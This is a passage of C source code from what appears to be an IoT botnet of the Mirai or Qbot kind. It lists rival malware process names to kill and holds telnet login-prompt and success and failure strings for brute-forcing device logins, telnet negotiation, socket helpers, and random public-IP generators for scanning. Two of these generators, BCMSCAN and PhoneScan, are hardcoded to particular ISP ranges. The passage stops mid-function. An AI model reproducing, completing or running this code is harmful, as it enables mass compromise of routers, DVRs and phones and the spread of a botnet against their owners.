  627.     "mirai*",
  628.     "lolpowerpc",
  629.     "lolpowerpc440fp",
  630.     "loli586",
  631.     "lolm68k",
  632.     "lolsparc",
  633.     "RYrydry",
  634.     "telmips",
  635.     "telmips64",
  636.     "telmipsel",
  637.     "telsh2eb",
  638.     "telsh2elf",
  639.     "telsh4",
  640.     "telx86",
  641.     "telarmv5",
  642.     "telarmv4tl",
  643.     "telarmv4",
  644.     "telarmv6",
  645.     "teli686",
  646.     "telpowerpc",
  647.     "telpowerpc440fp",
  648.     "teli586",
  649.     "telm68k",
  650.     "telsparc",
  651.     "telx86_64",
  652.     "TwoFacemips",
  653.     "TwoFacemips64",
  654.     "TwoFacemipsel",
  655.     "TwoFacesh2eb",
  656.     "TwoFacesh2elf",
  657.     "TwoFacesh4",
  658.     "TwoFacex86",
  659.     "TwoFacearmv5",
  660.     "TwoFacearmv4tl",
  661.     "TwoFacearmv4",
  662.     "TwoFacearmv6",
  663.     "TwoFacei686",
  664.     "TwoFacepowerpc",
  665.     "TwoFacepowerpc440fp",
  666.     "TwoFacei586",
  667.     "TwoFacem68k",
  668.     "TwoFacesparc",
  669.     "TwoFacex86_64",
  670.     "UYyuyioy",
  671.     "XDzdfxzf",
  672.     "xxb1",
  673.     "xxb2",
  674.     "xxb3",
  675.     "xxb4",
  676.     "xxb5",
  677.     "xxb6",
  678.     "xxb7",
  679.     "xxb8",
  680.     "xxb9",
  681.     "xxb10",
  682.     "xxb11",
  683.     "xxb12",
  684.     "xxb13",
  685.     "xxb14",
  686.     "xxb15",
  687.     "xxb16",
  688.     "xxb17",
  689.     "xxb18",
  690.     "xxb19",
  691.     "xxb20",
  692.     "1",
  693.     "2",
  694.     "3",
  695.     "4",
  696.     "5",
  697.     "6",
  698.     "7",
  699.     "8",
  700.     "9",
  701.     "10",
  702.     "11",
  703.     "12",
  704.     "13",
  705.     "14",
  706.     "15",
  707.     "16",
  708.     "17",
  709.     "18",
  710.     "19",
  711.     "20",
  712.     "bb",
  713.     "busybotnet",
  714.     "pppd",
  715.     "pppoe",
  716.     "wput",
  717.     "B1",
  718.     "B2",
  719.     "B3",
  720.     "B4",
  721.     "B5",
  722.     "B6",
  723.     "B7",
  724.     "B8",
  725.     "B9",
  726.     "B10",
  727.     "B11",
  728.     "B12",
  729.     "B13",
  730.     "B14",
  731.     "B15",
  732.     "B16",
  733.     "B17",
  734.     "B18",
  735.     "B20",
  736.     "DVR",
  737.     "*mirai",
  738.     "*.mirai",
  739.     "cunty*",
  740.     "IoT*",
  741.     "mips64",
  742.     "sh4",
  743.     "arm",
  744.     "armv5",
  745.     "armv4tl",
  746.     "armv4",
  747.     "armv6",
  748.     "powerpc",
  749.     "powerpc440fp",
  750.     "pc",
  751.     "m68k",
  752.     "sparc",
  753.     "mirai.mips",
  754.     "orion.mips",
  755.     "okiru.mips",
  756.     "nightcore.mips",
  757.     "ar",
  758.     "lsp.modz",
  759.     "mipsxd",
  760.     "die.mips",
  761.     "dupessh"
  762.     "*mips",
  763.     "*.mips",
  764.     "pps",
  765.     "sh4*",
  766.     "wget*",
  767.     "ssh*",
  768.     "vulcan",
  769.     "jennifer*",
  770.     "okiru*",
  771.     "vulcana",
  772.     "vulcanb",
  773.     "vulcand",
  774.     "vulcane",
  775.     "vulcanx",
  776.     "vulcany",
  777.     "vulcanz",
  778.     "vulcang",
  779.     "apache2",
  780.     "telnetd"
  781. };
  782.  
  783. char *Temp_Directorys[] = {"/tmp/*", "/root/tmp/*", "/temp/*", "/var/*", "/var/run/*", "/var/tmp/*",  (char*) 0};
  784. char *advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", (char*)0};                                                                                    
  785. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                       
  786. char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", (char*)0};                                                                                                  
  787. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};          
  788. // END OF CONFIG STOP EDITING FROM HERE
  789. // //--------------------------------------------------------------------------------------------------------------------------------------------------------------------      
  790. #define PHI 0x9e3779b9
  791. static uint32_t Q[4096], c = 362436;
  792. void init_rand(uint32_t x) {
  793.         int i;
  794.         Q[0] = x;
  795.         Q[1] = x + PHI;
  796.         Q[2] = x + PHI + PHI;
  797.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  798. }
  799. uint32_t rand_cmwc(void) {
  800.         uint64_t t, a = 18782LL;
  801.         static uint32_t i = 4095;
  802.         uint32_t x, r = 0xfffffffe;
  803.         i = (i + 1) & 4095;
  804.         t = a * Q[i] + c;
  805.         c = (uint32_t)(t >> 32);
  806.         x = t + c;
  807.         if (x < c) {
  808.                 x++;
  809.                 c++;
  810.         }
  811.         return (Q[i] = r - x);
  812. }
  813. int contains_string(char* buffer, char** strings) {
  814.         int num_strings = 0, i = 0;
  815.         for(num_strings = 0; strings[++num_strings] != 0; );
  816.         for(i = 0; i < num_strings; i++) {
  817.                 if(strcasestr(buffer, strings[i])) {
  818.                         return 1;
  819.                 }
  820.         }
  821.         return 0;
  822. }
  823. int contains_success(char* buffer) {
  824.         return contains_string(buffer, successes);
  825. }
  826. int contains_fail(char* buffer) {
  827.         return contains_string(buffer, fails);
  828. }
  829. int contains_response(char* buffer) {
  830.         return contains_success(buffer) || contains_fail(buffer);
  831. }
  832. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  833.         fd_set read_set;
  834.         struct timeval tv;
  835.         tv.tv_sec = 0;
  836.         tv.tv_usec = timeout_usec;
  837.         FD_ZERO(&read_set);
  838.         FD_SET(fd, &read_set);
  839.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  840.         return 0;
  841.         return recv(fd, buffer, buf_size, 0);
  842. }
  843. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  844.         int num_bytes, i;
  845.         memset(buffer, 0, buf_size);
  846.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  847.         if(buffer[0] == 0xFF) {
  848.                 negotiate(fd, buffer, 3);
  849.         }
  850.  
  851.         if(contains_string(buffer, strings)) {
  852.                 return 1;
  853.         }
  854.  
  855.         return 0;
  856. }
  857. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  858.         struct in_addr in_addr_ip;
  859.         in_addr_ip.s_addr = telstate->ip;
  860.         return inet_ntoa(in_addr_ip);
  861. }
  862. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  863.         if(new_state == 0) {
  864.                 close(telstate->fd);
  865.         }
  866.         telstate->tTimeout = 0;
  867.         telstate->state = new_state;
  868.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  869. }
  870. void reset_telstate(struct telstate_t* telstate) { // reset
  871.         advance_telstate(telstate, 0);
  872.         telstate->complete = 1;
  873. }
  874. void trim(char *str) {
  875.         int i;
  876.         int begin = 0;
  877.         int end = strlen(str) - 1;
  878.  
  879.         while (isspace(str[begin])) begin++;
  880.  
  881.         while ((end >= begin) && isspace(str[end])) end--;
  882.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  883.  
  884.         str[i - begin] = '\0';
  885. }
  886. static void printchar(unsigned char **str, int c) {
  887.         if (str) {
  888.                 **str = c;
  889.                 ++(*str);
  890.         }
  891.         else (void)write(1, &c, 1);
  892. }
  893. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  894.         register int pc = 0, padchar = ' ';
  895.         if (width > 0) {
  896.                 register int len = 0;
  897.                 register const unsigned char *ptr;
  898.                 for (ptr = string; *ptr; ++ptr) ++len;
  899.                 if (len >= width) width = 0;
  900.                 else width -= len;
  901.                 if (pad & PAD_ZERO) padchar = '0';
  902.         }
  903.         if (!(pad & PAD_RIGHT)) {
  904.                 for ( ; width > 0; --width) {
  905.                         printchar (out, padchar);
  906.                         ++pc;
  907.                 }
  908.         }
  909.         for ( ; *string ; ++string) {
  910.                 printchar (out, *string);
  911.                 ++pc;
  912.         }
  913.         for ( ; width > 0; --width) {
  914.                 printchar (out, padchar);
  915.                 ++pc;
  916.         }
  917.         return pc;
  918. }
  919. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  920.         unsigned char print_buf[PRINT_BUF_LEN];
  921.         register unsigned char *s;
  922.         register int t, neg = 0, pc = 0;
  923.         register unsigned int u = i;
  924.         if (i == 0) {
  925.                 print_buf[0] = '0';
  926.                 print_buf[1] = '\0';
  927.                 return prints (out, print_buf, width, pad);
  928.         }
  929.         if (sg && b == 10 && i < 0) {
  930.                 neg = 1;
  931.                 u = -i;
  932.         }
  933.  
  934.         s = print_buf + PRINT_BUF_LEN-1;
  935.         *s = '\0';
  936.         while (u) {
  937.                 t = u % b;
  938.                 if( t >= 10 )
  939.                 t += letbase - '0' - 10;
  940.                 *--s = t + '0';
  941.                 u /= b;
  942.         }
  943.         if (neg) {
  944.                 if( width && (pad & PAD_ZERO) ) {
  945.                         printchar (out, '-');
  946.                         ++pc;
  947.                         --width;
  948.                 }
  949.                 else {
  950.                         *--s = '-';
  951.                 }
  952.         }
  953.  
  954.         return pc + prints (out, s, width, pad);
  955. }
  956. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  957.         register int width, pad;
  958.         register int pc = 0;
  959.         unsigned char scr[2];
  960.         for (; *format != 0; ++format) {
  961.                 if (*format == '%') {
  962.                         ++format;
  963.                         width = pad = 0;
  964.                         if (*format == '\0') break;
  965.                         if (*format == '%') goto out;
  966.                         if (*format == '-') {
  967.                                 ++format;
  968.                                 pad = PAD_RIGHT;
  969.                         }
  970.                         while (*format == '0') {
  971.                                 ++format;
  972.                                 pad |= PAD_ZERO;
  973.                         }
  974.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  975.                                 width *= 10;
  976.                                 width += *format - '0';
  977.                         }
  978.                         if( *format == 's' ) {
  979.                                 register char *s = (char *)va_arg( args, int );
  980.                                 pc += prints (out, s?s:"(null)", width, pad);
  981.                                 continue;
  982.                         }
  983.                         if( *format == 'd' ) {
  984.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  985.                                 continue;
  986.                         }
  987.                         if( *format == 'x' ) {
  988.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  989.                                 continue;
  990.                         }
  991.                         if( *format == 'X' ) {
  992.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  993.                                 continue;
  994.                         }
  995.                         if( *format == 'u' ) {
  996.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  997.                                 continue;
  998.                         }
  999.                         if( *format == 'c' ) {
  1000.                                 scr[0] = (unsigned char)va_arg( args, int );
  1001.                                 scr[1] = '\0';
  1002.                                 pc += prints (out, scr, width, pad);
  1003.                                 continue;
  1004.                         }
  1005.                 }
  1006.                 else {
  1007. out:
  1008.                         printchar (out, *format);
  1009.                         ++pc;
  1010.                 }
  1011.         }
  1012.         if (out) **out = '\0';
  1013.         va_end( args );
  1014.         return pc;
  1015. }
  1016. int zprintf(const unsigned char *format, ...) {
  1017.         va_list args;
  1018.         va_start( args, format );
  1019.         return print( 0, format, args );
  1020. }
  1021. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  1022.         va_list args;
  1023.         va_start( args, format );
  1024.         return print( &out, format, args );
  1025. }
  1026. int sockprintf(int sock, char *formatStr, ...) {
  1027.         unsigned char *textBuffer = malloc(2048);
  1028.         memset(textBuffer, 0, 2048);
  1029.         char *orig = textBuffer;
  1030.         va_list args;
  1031.         va_start(args, formatStr);
  1032.         print(&textBuffer, formatStr, args);
  1033.         va_end(args);
  1034.         orig[strlen(orig)] = '\n';
  1035.         zprintf("%s\n", orig);
  1036.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  1037.         free(orig);
  1038.         return q;
  1039. }
  1040. int wildString(const unsigned char* pattern, const unsigned char* string) {
  1041.         switch(*pattern) {
  1042.         case '\0': return *string;
  1043.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  1044.         case '?': return !(*string && !wildString(pattern+1, string+1));
  1045.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  1046.         }
  1047. }
  1048. int getHost(unsigned char *toGet, struct in_addr *i) {
  1049.         struct hostent *h;
  1050.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  1051.         return 0;
  1052. }
  1053. void makeRandomStr(unsigned char *buf, int length) {
  1054.         int i = 0;
  1055.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  1056. }
  1057. int recvLine(int socket, unsigned char *buf, int bufsize) {
  1058.         memset(buf, 0, bufsize);
  1059.         fd_set myset;
  1060.         struct timeval tv;
  1061.         tv.tv_sec = 30;
  1062.         tv.tv_usec = 0;
  1063.         FD_ZERO(&myset);
  1064.         FD_SET(socket, &myset);
  1065.         int selectRtn, retryCount;
  1066.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1067.                 while(retryCount < 10) {
  1068.                         tv.tv_sec = 30;
  1069.                         tv.tv_usec = 0;
  1070.                         FD_ZERO(&myset);
  1071.                         FD_SET(socket, &myset);
  1072.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1073.                                 retryCount++;
  1074.                                 continue;
  1075.                         }
  1076.                         break;
  1077.                 }
  1078.         }
  1079.         unsigned char tmpchr;
  1080.         unsigned char *cp;
  1081.         int count = 0;
  1082.         cp = buf;
  1083.         while(bufsize-- > 1) {
  1084.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  1085.                         *cp = 0x00;
  1086.                         return -1;
  1087.                 }
  1088.                 *cp++ = tmpchr;
  1089.                 if(tmpchr == '\n') break;
  1090.                 count++;
  1091.         }
  1092.         *cp = 0x00;
  1093.         return count;
  1094. }
  1095. int connectTimeout(int fd, char *host, int port, int timeout) {
  1096.         struct sockaddr_in dest_addr;
  1097.         fd_set myset;
  1098.         struct timeval tv;
  1099.         socklen_t lon;
  1100.         int valopt;
  1101.         long arg = fcntl(fd, F_GETFL, NULL);
  1102.         arg |= O_NONBLOCK;
  1103.         fcntl(fd, F_SETFL, arg);
  1104.         dest_addr.sin_family = AF_INET;
  1105.         dest_addr.sin_port = htons(port);
  1106.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  1107.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1108.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1109.         if (res < 0) {
  1110.                 if (errno == EINPROGRESS) {
  1111.                         tv.tv_sec = timeout;
  1112.                         tv.tv_usec = 0;
  1113.                         FD_ZERO(&myset);
  1114.                         FD_SET(fd, &myset);
  1115.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  1116.                                 lon = sizeof(int);
  1117.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1118.                                 if (valopt) return 0;
  1119.                         }
  1120.                         else return 0;
  1121.                 }
  1122.                 else return 0;
  1123.         }
  1124.         arg = fcntl(fd, F_GETFL, NULL);
  1125.         arg &= (~O_NONBLOCK);
  1126.         fcntl(fd, F_SETFL, arg);
  1127.         return 1;
  1128. }
  1129. int listFork() {
  1130.         uint32_t parent, *newpids, i;
  1131.         parent = fork();
  1132.         if (parent <= 0) return parent;
  1133.         numpids++;
  1134.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  1135.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  1136.         newpids[numpids - 1] = parent;
  1137.         free(pids);
  1138.         pids = newpids;
  1139.         return parent;
  1140. }
  1141. int negotiate(int sock, unsigned char *buf, int len) {
  1142.         unsigned char c;
  1143.         switch (buf[1]) {
  1144.         case CMD_IAC: return 0;
  1145.         case CMD_WILL:
  1146.         case CMD_WONT:
  1147.         case CMD_DO:
  1148.         case CMD_DONT:
  1149.                 c = CMD_IAC;
  1150.                 send(sock, &c, 1, MSG_NOSIGNAL);
  1151.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  1152.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  1153.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  1154.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  1155.                 send(sock, &c, 1, MSG_NOSIGNAL);
  1156.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  1157.                 break;
  1158.         default:
  1159.                 break;
  1160.         }
  1161.  
  1162.         return 0;
  1163. }
  1164. int matchPrompt(char *bufStr) {
  1165.         char *prompts = ":>%$#\0";
  1166.         int bufLen = strlen(bufStr);
  1167.         int i, q = 0;
  1168.         for(i = 0; i < strlen(prompts); i++) {
  1169.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  1170.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  1171.         }
  1172.         return 0;
  1173. }
  1174. uint8_t ipState[5] = {0};
  1175. in_addr_t getRandomPublicIP() {
  1176.         ipState[0] = rand() % 223;
  1177.         ipState[1] = rand() % 255;
  1178.         ipState[2] = rand() % 255;
  1179.         ipState[3] = rand() % 255;
  1180.         while(
  1181.                 (ipState[0] == 0) ||
  1182.                 (ipState[0] == 10) ||
  1183.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  1184.                 (ipState[0] == 127) ||
  1185.                 (ipState[0] == 169 && ipState[1] == 254) ||
  1186.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  1187.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  1188.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  1189.                 (ipState[0] == 192 && ipState[1] == 168) ||
  1190.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  1191.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  1192.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  1193.                 (ipState[0] >= 224)
  1194.         )
  1195.         {
  1196.                 ipState[0] = rand() % 223;
  1197.                 ipState[1] = rand() % 255;
  1198.                 ipState[2] = rand() % 255;
  1199.                 ipState[3] = rand() % 255;
  1200.         }
  1201.         char ip[16] = {0};
  1202.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1203.         return inet_addr(ip);
  1204. }
  1205.  
  1206. in_addr_t BCMSCAN(){
  1207.  
  1208. ipState[0] = 0;
  1209. ipState[1] = 0;
  1210. ipState[2] = 0;
  1211. ipState[3] = 0;
  1212. ipState[0] = rand() % 255;
  1213. ipState[1] = rand() % 255;
  1214. ipState[2] = rand() % 255;
  1215. ipState[3] = rand() % 255;
  1216. int randnum = rand() % 37;
  1217. char ip[16];
  1218. if(randnum == 0)
  1219. {
  1220. szprintf(ip, "37.11.%d.%d", ipState[2], ipState[3]);
  1221. }
  1222. if(randnum == 1)
  1223. {
  1224. szprintf(ip, "146.158.%d.%d", ipState[2], ipState[3]);
  1225. }
  1226. if(randnum == 2)
  1227. {
  1228. szprintf(ip, "185.4.%d.%d", ipState[2], ipState[3]);
  1229. }
  1230. if(randnum == 3)
  1231. {
  1232. szprintf(ip, "188.76.%d.%d", ipState[2], ipState[3]);
  1233. }
  1234. if(randnum == 4)
  1235. {
  1236. szprintf(ip, "188.77.%d.%d", ipState[2], ipState[3]);
  1237. }
  1238. if(randnum == 5)
  1239. {
  1240. szprintf(ip, "188.78.%d.%d", ipState[2], ipState[3]);
  1241. }
  1242. if(randnum == 6)
  1243. {
  1244. szprintf(ip, "188.79.%d.%d", ipState[2], ipState[3]);
  1245. }
  1246. if(randnum == 7)
  1247. {
  1248. szprintf(ip, "212.106.%d.%d", ipState[2], ipState[3]);
  1249. }
  1250. if(randnum == 8)
  1251. {
  1252. szprintf(ip, "212.9.%d.%d", ipState[2], ipState[3]);
  1253. }
  1254. if(randnum == 9)
  1255. {
  1256. szprintf(ip, "213.179.%d.%d", ipState[2], ipState[3]);
  1257. }
  1258. if(randnum == 10)
  1259. {
  1260. szprintf(ip, "37.11.%d.%d", ipState[2], ipState[3]);
  1261. }
  1262. if(randnum == 11)
  1263. {
  1264. szprintf(ip, "37.132.%d.%d", ipState[2], ipState[3]);
  1265. }
  1266. if(randnum == 12)
  1267. {
  1268. szprintf(ip, "37.133.%d.%d", ipState[2], ipState[3]);
  1269. }
  1270. if(randnum == 13)
  1271. {
  1272. szprintf(ip, "37.134.%d.%d", ipState[2], ipState[3]);
  1273. }
  1274. if(randnum == 14)
  1275. {
  1276. szprintf(ip, "37.135.%d.%d", ipState[2], ipState[3]);
  1277. }
  1278. if(randnum == 15)
  1279. {
  1280. szprintf(ip, "37.14.%d.%d", ipState[2], ipState[3]);
  1281. }
  1282. if(randnum == 16)
  1283. {
  1284. szprintf(ip, "37.15.%d.%d", ipState[2], ipState[3]);
  1285. }
  1286. if(randnum == 17)
  1287. {
  1288. szprintf(ip, "37.35.%d.%d", ipState[2], ipState[3]);
  1289. }
  1290. if(randnum == 18)
  1291. {
  1292. szprintf(ip, "37.97.%d.%d", ipState[2], ipState[3]);
  1293. }
  1294. if(randnum == 19)
  1295. {
  1296. szprintf(ip, "62.14.%d.%d", ipState[2], ipState[3]);
  1297. }
  1298. if(randnum == 20)
  1299. {
  1300. szprintf(ip, "87.216.%d.%d", ipState[2], ipState[3]);
  1301. }
  1302. if(randnum == 21)
  1303. {
  1304. szprintf(ip, "87.217.%d.%d", ipState[2], ipState[3]);
  1305. }
  1306. if(randnum == 22)
  1307. {
  1308. szprintf(ip, "87.218.%d.%d", ipState[2], ipState[3]);
  1309. }
  1310. if(randnum == 23)
  1311. {
  1312. szprintf(ip, "87.219.%d.%d", ipState[2], ipState[3]);
  1313. }
  1314. if(randnum == 24)
  1315. {
  1316. szprintf(ip, "87.220.%d.%d", ipState[2], ipState[3]);
  1317. }
  1318. if(randnum == 25)
  1319. {
  1320. szprintf(ip, "87.221.%d.%d", ipState[2], ipState[3]);
  1321. }
  1322. if(randnum == 26)
  1323. {
  1324. szprintf(ip, "87.222.%d.%d", ipState[2], ipState[3]);
  1325. }
  1326. if(randnum == 27)
  1327. {
  1328. szprintf(ip, "87.223.%d.%d", ipState[2], ipState[3]);
  1329. }
  1330. if(randnum == 28)
  1331. {
  1332. szprintf(ip, "90.94.%d.%d", ipState[2], ipState[3]);
  1333. }
  1334. if(randnum == 29)
  1335. {
  1336. szprintf(ip, "92.191.%d.%d", ipState[2], ipState[3]);
  1337. }
  1338. if(randnum == 30)
  1339. {
  1340. szprintf(ip, "95.16.%d.%d", ipState[2], ipState[3]);
  1341. }
  1342. if(randnum == 31)
  1343. {
  1344. szprintf(ip, "95.17.%d.%d", ipState[2], ipState[3]);
  1345. }
  1346. if(randnum == 32)
  1347. {
  1348. szprintf(ip, "95.18.%d.%d", ipState[2], ipState[3]);
  1349. }
  1350. if(randnum == 33)
  1351. {
  1352. szprintf(ip, "95.19.%d.%d", ipState[2], ipState[3]);
  1353. }
  1354. if(randnum == 34)
  1355. {
  1356. szprintf(ip, "95.20.%d.%d", ipState[2], ipState[3]);
  1357. }
  1358. if(randnum == 35)
  1359. {
  1360. szprintf(ip, "95.21.%d.%d", ipState[2], ipState[3]);
  1361. }
  1362. if(randnum == 36)
  1363. {
  1364. szprintf(ip, "95.22.%d.%d", ipState[2], ipState[3]);
  1365. }
  1366. if(randnum == 37)
  1367. {
  1368. szprintf(ip, "95.23.%d.%d", ipState[2], ipState[3]);
  1369. }
  1370. return inet_addr(ip);
  1371. }
  1372.  
  1373. in_addr_t PhoneScan(){
  1374. ipState[0] = 0;
  1375. ipState[1] = 0;
  1376. ipState[2] = 0;
  1377. ipState[3] = 0;
  1378. ipState[0] = rand() % 255;
  1379. ipState[1] = rand() % 255;
  1380. ipState[2] = rand() % 255;
  1381. ipState[3] = rand() % 255;
  1382. int randnum = rand() % 117;
  1383. char ip[16];
  1384. if(randnum == 0)
  1385. {
  1386. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1387. }
  1388. if(randnum == 1)
  1389. {
  1390. szprintf(ip, "119.150.%d.%d", ipState[2], ipState[3]);
  1391. }
  1392. if(randnum == 2)
  1393. {
  1394. szprintf(ip, "119.151.%d.%d", ipState[2], ipState[3]);
  1395. }
  1396. if(randnum == 3)
  1397. {
  1398. szprintf(ip, "119.152.%d.%d", ipState[2], ipState[3]);
  1399. }
  1400. if(randnum == 4)
  1401. {
  1402. szprintf(ip, "119.153.%d.%d", ipState[2], ipState[3]);
  1403. }
  1404. if(randnum == 5)
  1405. {
  1406. szprintf(ip, "119.154.%d.%d", ipState[2], ipState[3]);
  1407. }
  1408. if(randnum == 6)
  1409. {
  1410. szprintf(ip, "119.155.%d.%d", ipState[2], ipState[3]);
  1411. }
  1412. if(randnum == 7)
  1413. {
  1414. szprintf(ip, "119.156.%d.%d", ipState[2], ipState[3]);
  1415. }
  1416. if(randnum == 8)
  1417. {
  1418. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1419. }
  1420. if(randnum == 9)
  1421. {
  1422. szprintf(ip, "119.158.%d.%d", ipState[2], ipState[3]);
  1423. }
  1424. if(randnum == 10)
  1425. {
  1426. szprintf(ip, "119.159.%d.%d", ipState[2], ipState[3]);
  1427. }
  1428. if(randnum == 11)
  1429. {
  1430. szprintf(ip, "191.24.%d.%d", ipState[2], ipState[3]);
  1431. }
  1432. if(randnum == 12)
  1433. {
  1434. szprintf(ip, "187.119.%d.%d", ipState[2], ipState[3]);
  1435. }
  1436. if(randnum == 13)
  1437. {
  1438. szprintf(ip, "177.215.%d.%d", ipState[2], ipState[3]);
  1439. }
  1440. if(randnum == 14)
  1441. {
  1442. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1443. }
  1444. if(randnum == 15)
  1445. {
  1446. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1447. }
  1448. if(randnum == 16)
  1449. {
  1450. szprintf(ip, "179.80.%d.%d", ipState[2], ipState[3]);
  1451. }
  1452. if(randnum == 17)
  1453. {
  1454. szprintf(ip, "179.81.%d.%d", ipState[2], ipState[3]);
  1455. }
  1456. if(randnum == 18)
  1457. {
  1458. szprintf(ip, "179.82.%d.%d", ipState[2], ipState[3]);
  1459. }
  1460. if(randnum == 19)
  1461. {
  1462. szprintf(ip, "179.83.%d.%d", ipState[2], ipState[3]);
  1463. }
  1464. if(randnum == 20)
  1465. {
  1466. szprintf(ip, "179.84.%d.%d", ipState[2], ipState[3]);
  1467. }
  1468. if(randnum == 21)
  1469. {
  1470. szprintf(ip, "179.86.%d.%d", ipState[2], ipState[3]);
  1471. }
  1472. if(randnum == 22)
  1473. {
  1474. szprintf(ip, "179.87.%d.%d", ipState[2], ipState[3]);
  1475. }
  1476. if(randnum == 23)
  1477. {
  1478. szprintf(ip, "179.88.%d.%d", ipState[2], ipState[3]);
  1479. }
  1480. if(randnum == 24)
  1481. {
  1482. szprintf(ip, "179.89.%d.%d", ipState[2], ipState[3]);
  1483. }
  1484. if(randnum == 25)
  1485. {
  1486. szprintf(ip, "179.90.%d.%d", ipState[2], ipState[3]);
  1487. }
  1488. if(randnum == 26)
  1489. {
  1490. szprintf(ip, "179.91.%d.%d", ipState[2], ipState[3]);
  1491. }
  1492. if(randnum == 27)
  1493. {
  1494. szprintf(ip, "179.92.%d.%d", ipState[2], ipState[3]);
  1495. }
  1496. if(randnum == 28)
  1497. {
  1498. szprintf(ip, "179.93.%d.%d", ipState[2], ipState[3]);
  1499. }
  1500. if(randnum == 29)
  1501. {
  1502. szprintf(ip, "179.94.%d.%d", ipState[2], ipState[3]);
  1503. }
  1504. if(randnum == 30)
  1505. {
  1506. szprintf(ip, "179.95.%d.%d", ipState[2], ipState[3]);
  1507. }
  1508. if(randnum == 31)
  1509. {
  1510. szprintf(ip, "179.96.%d.%d", ipState[2], ipState[3]);
  1511. }
  1512. if(randnum == 32)
  1513. {
  1514. szprintf(ip, "179.97.%d.%d", ipState[2], ipState[3]);
  1515. }
  1516. if(randnum == 33)
  1517. {
  1518. szprintf(ip, "179.98.%d.%d", ipState[2], ipState[3]);
  1519. }
  1520. if(randnum == 34)
  1521. {
  1522. szprintf(ip, "179.99.%d.%d", ipState[2], ipState[3]);
  1523. }
  1524. if(randnum == 35)
  1525. {
  1526. szprintf(ip, "152.240.%d.%d", ipState[2], ipState[3]);
  1527. }
  1528. if(randnum == 36)
  1529. {
  1530. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1531. }
  1532. if(randnum == 37)
  1533. {
  1534. szprintf(ip, "152.242.%d.%d", ipState[2], ipState[3]);
  1535. }
  1536. if(randnum == 38)
  1537. {
  1538. szprintf(ip, "152.243.%d.%d", ipState[2], ipState[3]);
  1539. }
  1540. if(randnum == 39)
  1541. {
  1542. szprintf(ip, "152.244.%d.%d", ipState[2], ipState[3]);
  1543. }
  1544. if(randnum == 40)
  1545. {
  1546. szprintf(ip, "152.245.%d.%d", ipState[2], ipState[3]);
  1547. }
  1548. if(randnum == 41)
  1549. {
  1550. szprintf(ip, "152.246.%d.%d", ipState[2], ipState[3]);
  1551. }
  1552. if(randnum == 42)
  1553. {
